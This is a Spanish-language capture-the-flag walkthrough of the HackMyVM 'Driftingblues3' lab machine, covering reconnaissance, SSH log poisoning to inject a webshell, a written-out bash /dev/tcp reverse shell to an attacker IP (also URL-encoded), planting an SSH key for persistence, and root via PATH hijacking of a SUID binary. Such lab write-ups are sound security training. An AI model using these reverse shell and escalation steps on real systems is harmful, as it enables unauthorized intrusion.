HackMyVM Driftingblues3 — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.124
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que solo tenemos dos puertos
Realizando un escaneo de los puertos podemos observar que tenemos un directorio encontrado.
Si ingresamos la dirección IP en el navegador vemos que tenemos una página sobre un festival pero nada más.
Revisando el directorio que nos mostraban y podemos ver que nos colocan la página html
.
Seguimos a esa dirección y vemos que tenemos un texto en color blanco.
Revisando si es base 64 y podemos ver que tenemos otra nueva dirección.
Si vamos a esa dirección vemos algo muy interesante lo que parecen ser capturas de log.
Probaremos si es una captura estática o se actualiza. Para ello probaremos acceder por ssh empleando el usuario root
y al regresar a la página vemos que sí nos registró.
Probaremos realizando otra petición, pero esta vez inyectaremos una webshell para ver si podemos ejecutar comandos y obtenemos un error
Ya que tenemos problemas por ssh, intentamos por nc
.
Probamos si funciono, y podemos observar que tenemos acceso.
Vamos a la vista de código para probar otras consultas y tenemos éxito.
Puesto que podemos enviar consultas, enviaremos una que nos devuelva una revershell. Para ello iniciaremos nuestro listener.
Luego de ello enviaremos nuestro comando para tener conexión.
bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22
Enviamos la consulta, si se queda cargando es buena señal.
Regresando al listener vemos que se estableció conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Revisando las carpetas nos percatamos que podemos acceder a la carpeta de usuario de robertj
y listando archivos también vemos que podemos escribir en la carpeta .ssh
de este.
Vamos a la carpeta temporal y creamos unas llaves.
Vamos a la carpeta ssh
y pegamos el contenido del id_
rsa.pub
en un archivo llamado authorized_keys
.
Establecemos conexión con la llave id_rsa y podemos observar que ya estamos dentro.
Probamos empleando sudo -l
por si tenemos algún comando, pero vemos que no lo tenemos, realizamos una búsqueda de permisos SUID y vemos que tenemos a getinfo
.
Al ejecutarlo observamos que ejecuta 3 comandos.
- ip a
- cat /etc/hosts
- uname -a
Haciendo un cat
al binario vemos una parte del código y vemos que solo llama a los comandos.
Observamos si el path
se dirige a una ubicación específica, pero vemos que es muy simple, así que nos aprovecharemos de esta y agregaremos una nueva ruta para que busque en esa ruta primero y ejecute nuestra versión modificada del comando.
Ejecutamos el binario y podemos observar que somos root
. De esta manera culminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
